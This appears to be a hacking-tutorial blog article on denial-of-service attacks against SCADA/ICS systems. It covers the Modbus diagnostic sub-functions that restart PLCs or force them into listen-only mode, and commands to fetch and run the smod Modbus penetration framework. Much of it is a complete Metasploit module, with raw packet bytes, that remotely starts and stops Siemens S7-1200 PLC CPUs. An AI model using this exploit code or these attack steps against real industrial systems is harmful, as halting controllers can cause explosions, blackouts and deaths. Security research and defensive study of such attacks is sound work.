SCADA and Industrial Control Sites (ICS) are among the most crucial and most vulnerable sites. These sites include everything from nuclear power plants, to home HVAC systems and everything in between.
The security of these systems is slightly different than traditional IT systems. In traditional IT systems we are protecting the data. With SCADA/ICS systems we are protecting the process. In many of these systems, if a process fails, it may cost 1000's of lives. Imagine a petroleum refinery. If the systems monitoring and managing the proper pressure in a distilling vessel fail, the pressure may get too high and the entire refinery would blow. This is exactly what happened at the Texas City refinery in 2004 that killed 15 people and leveled one of the world's largest refineries.
This means that the Denial of Service (DOS) attack against these systems is far more serious a threat than to a website, for instance. If a website gets DoSed, the owner will likely lose some revenue, but no one dies.
Other potential disastrous impacts of DoS attacks against SCADA/ICS systems include electrical blackouts, shutdown of water and sewage systems and other essential municipal services. We as a society and economy are dependent upon the continuous operation of these services.
Different Protocols
As I have pointed out in my previous articles in this series, SCADA/ICS systems use different communication protocols than traditional IT. As a result, many SCADA/ICS systems have benefited from "security through obscurity". In general, the attacks against traditional IT systems will NOT work against SCADA/ICS systems.
Modbus
Modbus is one of those proprietary protocols used throughout the SCADA/ICS industry. It is a simple and lightweight protocol and uses port 502. You can see the simple, original serial-based modbus packet below and then the modified TCP/IP enabled modbus packet directly below that.
The modbus packets consist primarily as a Slave ID or Unit ID, a Function Code, a Data section and an error checker (CRC). Below you can see a list of some of the basic Function Codes in modbus. Note that Function Code 8 is "Diagnostic".
Within each Function Code in modbus, there are sub-function codes. You can see some of the sub-function codes of Function code 8 below.
Please note sub-function codes 01 and 04, as these can be used to DoS the modbus protocol running on the SCADA PLC's. Sub-function code 01 will restart the PLC and sub-function code 04 will force the PLC into "listen only mode".
Modbus Diagnostic Functions in Wireshark
We can create filters in Wireshark to view these modbus diagnostic packets. In the screenshot below, we are viewing packets that restart the communication in modbus devices . This would be Function Code 8 and sub-code 1. If an attacker can send these packets repeatedly, it would effectively DoS the system by restarting the PLC repeatedly.
In the next screenshot, we have built a filter for modbus diagnostic sub-code =4 or the "Force Listen Open". When a PLC is placed in this mode, it is forced to only "listen" and is effectively DoSed. Imagine what would happen when a PLC controlling pressure in a pressurized vessel were forced into listen only mode and and it could not be sent commands!
Modbus DoS Attack Vectors
Among the many tools for attacking SCADA and modbus is the Modbus Pentration Framework. You can download from github at;
kali > git clone https://github.com/enddo/smod
Once we download it, we can run it by typing;
smod> python smod.py
We can see the MODBUS Penetration Framework's modules by typing;
SMOD> show modules
Note that the MODBUS penetration framework has three (3) DoS modules. The first of these is the DOS Galil RIO-47100. We can see this exploit below. It is very simple, it repeatedly sends a read request to the modbus-based PLC similar to a HTTP, SYN or ICMP flood based DoS attack.
More Advanced DOS Attack Vectors
More recently, ICS-CERT issued the following advisory as seen below. It warns against an attack against the Siemens SIMATIC S7 PLC. These are commonly used PLC's used throughout industry for various purposes. This DOS attack simply turns off the CPU in these PLC's.
To view the code that exploits this vulnerability, we can see the Metasploit exploit code below.
New Exploit to Start and Stop the Simantic S7 1200 CPU module
# Exploit Title: Simatic S7 1200 CPU command module
# Date: 15-12-2015
# Exploit Author: Nguyen Manh Hung
# Vendor Homepage: http://www.siemens.com/
# Tested on: Siemens Simatic S7-1214C
# CVE : None
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name'=> 'Simatic S7-1200 CPU START/STOP Module',
'Description' => %q{
Update 2015
The Siemens Simatic S7-1200 S7 CPU start and stop functions over ISO-TSAP.
},
'Author' => 'Nguyen Manh Hung <tdh.mhung@gmail.com>',
'License' => MSF_LICENSE,
'References' =>
[
[ 'nil' ],
],
'Version' => '$Revision$',
'DisclosureDate' => '11-2015'
))
register_options(
[
Opt::RPORT(102),
OptInt.new('FUNC',[true,'func',1]),
OptString.new('MODE', [true, 'Mode select:
START -- start PLC
STOP -- stop PLC
SCAN -- PLC scanner',"SCAN"]),
], self.class)
end
####################################################################################
def packet()
packets=[ #dua tren TIA portal thay cho hello plc
"\x03\x00\x00\x23\x1e\xe0\x00\x00"+
"\x00\x06\x00\xc1\x02\x06\x00\xc2"+
"\x0f\x53\x49\x4d\x41\x54\x49\x43"+
"\x2d\x52\x4f\x4f\x54\x2d\x45\x53"+
"\xc0\x01\x0a",
#session debug
"\x03\x00\x00\xc0\x02\xf0\x80\x72"+
"\x01\x00\xb1\x31\x00\x00\x04\xca"+
"\x00\x00\x00\x02\x00\x00\x01\x20"+
"\x36\x00\x00\x01\x1d\x00\x04\x00"+
"\x00\x00\x00\x00\xa1\x00\x00\x00"+
"\xd3\x82\x1f\x00\x00\xa3\x81\x69"+
"\x00\x15\x16\x53\x65\x72\x76\x65"+
"\x72\x53\x65\x73\x73\x69\x6f\x6e"+
"\x5f\x43\x43\x39\x43\x33\x39\x33"+
"\x44\xa3\x82\x21\x00\x15\x0b\x31"+
"\x3a\x3a\x3a\x36\x2e\x30\x3a\x3a"+
"\x3a\x12\xa3\x82\x28\x00\x15\x0d"+
"\x4f\x4d\x53\x2b\x20\x44\x65\x62"+
"\x75\x67\x67\x65\x72\xa3\x82\x29"+
"\x00\x15\x00\xa3\x82\x2a\x00\x15"+
"\x00\xa3\x82\x2b\x00\x04\x84\x80"+
"\x80\x80\x00\xa3\x82\x2c\x00\x12"+
"\x11\xe1\xa3\x00\xa3\x82\x2d\x00"+
"\x15\x00\xa1\x00\x00\x00\xd3\x81"+
"\x7f\x00\x00\xa3\x81\x69\x00\x15"+
"\x15\x53\x75\x62\x73\x63\x72\x69"+
"\x70\x74\x69\x6f\x6e\x43\x6f\x6e"+
"\x74\x61\x69\x6e\x65\x72\xa2\xa2"+
"\x00\x00\x00\x00\x72\x01\x00\x00",
######
"\x03\x00\x00\x77\x02\xf0\x80\x72"+#p1
"\x02\x00\x68\x31\x00\x00\x05\x42"+
"\x00\x00\x00\x03\x00\x00\x03\xff"+
"\x34\x00\x00\x03\xff\x01\x01\x82"+
"\x32\x01\x00\x17\x00\x00\x01\x3a"+
"\x82\x3b\x00\x04\x81\x40\x82\x3c"+
"\x00\x04\x81\x40\x82\x3d\x00\x04"+
"\x00\x82\x3e\x00\x04\x84\x80\xc0"+
"\x40\x82\x3f\x00\x15\x00\x82\x40"+
"\x00\x15\x05\x32\x3b"+
"\x35\x34\x34\x82\x41"+
"\x00\x03\x00\x03\x00\x00\x00\x00"+#2
"\x04\xe8\x89\x69\x00\x12\x00\x00"+
"\x00\x00\x89\x6a\x00\x13\x00\x89"+
"\x6b\x00\x04\x00\x00\x00\x00\x00"+
"\x00\x72\x02\x00\x00",
"\x03\x00\x00\x07\x02\xf0\x00",
#bat dau qua trinh diag
"\x03\x00\x00\x2b\x02\xf0\x80\x72"+
"\x02\x00\x1c\x31\x00\x00\x04\xbb"+
"\x00\x00\x00\x05\x00\x00\x03\xff"+
"\x34\x00\x00\x00\x01\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x72"+
"\x02\x00\x00",
#tiep tuc diag
"\x03\x00\x00\x2b\x02\xf0\x80\x72"+
"\x02\x00\x1c\x31\x00\x00\x04\xbb"+
"\x00\x00\x00\x06\x00\x00\x03\xff"+
"\x34\x00\x00\x00\x02\x00\x01\x01"+
"\x00\x00\x00\x00\x00\x00\x00\x72"+
"\x02\x00\x00",
#truoc start-stop
"\x03\x00\x00\x42\x02\xf0\x80"+
"\x72\x02\x00\x33\x31\x00\x00\x04"+
"\xfc\x00\x00\x00\x07\x00\x00\x03"+
"\xff\x36\x00\x00\x00\x34\x02\x91"+
"\x3d\x9b\x1e\x00\x00\x04\xe8\x89"+
"\x69\x00\x12\x00\x00\x00\x00\x89"+
"\x6a\x00\x13\x00\x89\x6b\x00\x04"+
"\x00\x00\x00\x00\x00\x00\x00\x72"+
"\x02\x00\x00",
"\x03\x00\x00\x43\x02\xf0\x80"+
"\x72\x02\x00\x34\x31\x00\x00\x04"+
"\xf2\x00\x00\x00\x08\x00\x00\x03"+
"\xff\x36\x00\x00\x00\x34\x01\x90"+
"\x77\x00\x08\x03\x00\x00\x04\xe8"+
"\x89\x69\x00\x12\x00\x00\x00\x00"+
"\x89\x6a\x00\x13\x00\x89\x6b\x00"+
"\x04\x00\x00\x00\x00\x00\x00\x00"+
"\x72\x02\x00\x00",
"\x03\x00\x00\x43\x02\xf0\x80"+
"\x72\x02\x00\x34\x31\x00\x00\x04"+
"\xf2\x00\x00\x00\x08\x00\x00\x03"+
"\xff\x36\x00\x00\x00\x34\x01\x90"+
"\x77\x00\x08\x01\x00\x00\x04\xe8"+
"\x89\x69\x00\x12\x00\x00\x00\x00"+
"\x89\x6a\x00\x13\x00\x89\x6b\x00"+
"\x04\x00\x00\x00\x00\x00\x00\x00"+
"\x72\x02\x00\x00",
]
return packets
end
#############################################################################
def start_PLC(scr)
print_good "mode select: START"
sock.put(packet[6].gsub("\xff",[scr].pack("c")))#send hello plc
sock.get_once()
sleep(0.05)
sock.put(packet[7].gsub("\xff",[scr].pack("c")))#send hello plc
#sock.get_once()
dt=sock.get_once(-1, sock.def_read_timeout)
if dt.length.to_i == 30
print_good "PLC---->RUN"
else
a= dt.to_s.gsub(/[\x80-\xff]/," ")
print_error a.to_s.gsub(/[\x00-\x30]/," ")
end
end
#############################################################################
def stop_PLC(scr)
print_good "mode select: STOP"
sock.put(packet[6].gsub("\xff",[scr].pack("c")))#send hello plc
sock.get_once()
sleep(0.05)
sock.put(packet[8].gsub("\xff",[scr].pack("c")))#send hello plc
dt=sock.get_once(-1, sock.def_read_timeout)
if dt.length.to_i == 30
print_good "PLC---->STOP"
else
a= dt.to_s.gsub(/[\x80-\xff]/," ")
print_error a.to_s.gsub(/[\x00-\x30]/," ")
end
end
#############################################################################
def PLC_SCAN(ip)
sock.put(packet[0])#send hello plc
sock.get_once()
sleep(0.05)
sock.put(packet[1])#xin 1 session debug
dt=sock.get_once(-1, sock.def_read_timeout)
sock.put(packet[3])#send hello plc
sock.get_once()
arr=dt.split(/;/)
print_good "#{ip.to_s}: #{arr[2].to_s} : #{arr[3][0..3].to_s}"
end
#############################################################################
def run_host(ip)
mode=datastore['MODE']
func=datastore['FUNC']
connect()
if mode !="scan" && mode!="SCAN"
sock.put(packet[0])#send hello plc
sock.get_once()
sleep(0.05)
sock.put(packet[1])#xin 1 session debug
dt=sock.get_once(-1, sock.def_read_timeout)
sock.put(packet[3])#send hello plc
sock.get_once()
arr=dt.split(/;/)
print_good "#{arr[2].to_s} : #{arr[3][0..3].to_s}"
data=dt.unpack("C*")
a= (data[24]).to_i
b= (data[26]).to_i
scr=a|128
scr1=b|128
#print_line scr.to_s
if arr.length.to_i ==5 #neu lay duoc session
session_i= arr[4][0..4].each_byte.map { |dt| '\x%02x' % dt.to_i }.join
pac=packet[2].gsub("\xff",[scr].pack("c"))
sock.put(pac.gsub("\x35\x34\x34\x82\x41", arr[4][0..4]))
end
sock.put(packet[3])#send uknown packet to plc
sock.get_once()
case mode
when "START" , "start"
start_PLC(scr)
when "STOP" , "stop"
stop_PLC(scr)
else
print_error("Invalid MODE")
end
else
PLC_SCAN(ip)
end
disconnect()
end
end
SCADA/ICS systems require a different approach to DoS attacks as such an attack can be deadly and disabling, unlike traditional IT systems where a DoS attack is more of a nuisance than deadly.. In this article, I attempted show you some of the more common attack vectors in DoSing SCADA systems using modbus.
Keep coming back for more on attacking and securing SCADA/ICS systems!